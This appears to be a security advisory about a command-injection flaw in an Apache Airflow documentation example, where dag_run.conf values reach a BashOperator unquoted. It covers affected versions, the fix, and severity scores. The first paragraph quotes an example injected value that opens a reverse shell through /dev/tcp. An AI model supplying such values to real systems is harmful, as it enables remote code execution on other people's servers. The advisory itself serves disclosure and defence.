The flaw arises from a Jinja2 injection pattern in Apache Airflow documentation that allows an authenticated user with Dag.can_trigger permission to insert shell metacharacters into the dag_run.conf field. When a DAG author copies the unquoted example verbatim into production, a malicious conf value such as "; bash -i >& /dev/tcp/.../9999 0>&1; #" is rendered into the BashOperator’s command string and executed by the worker, providing the attacker with remote code execution capability. The underlying weakness is improper input sanitization, identified as CWE‑1336. Based on the description, the attack vector is inferred as an authenticated user leveraging the trigger API to supply the malicious conf value.

Any deployment of Apache Airflow that incorporated the original documentation example before the correction in PR 64129 is impacted. The vulnerability affects versions of Airflow building on that example, so all releases prior to 3.2.2 may expose users to the risk if they have retained the legacy pattern. The issue is relevant to multi‑team or hosted systems where trigger permissions are granted to low‑privilege accounts through the trigger API.

Because the flaw allows arbitrary shell code execution with only trigger‑level permissions and the trigger API is publicly exposed, the potential for exploitation is critical. The CVSS score is 9.1, indicating a high severity rating, and the EPSS score is <1%, implying a low likelihood of exploitation at this time but still possible. The vulnerability is not listed in the KEV catalog. Based on the description, the attack vector involves an authenticated user supplying malicious conf values via the trigger API. The risk is further amplified in environments where workers run with elevated privileges, making this a critical concern that should be addressed promptly.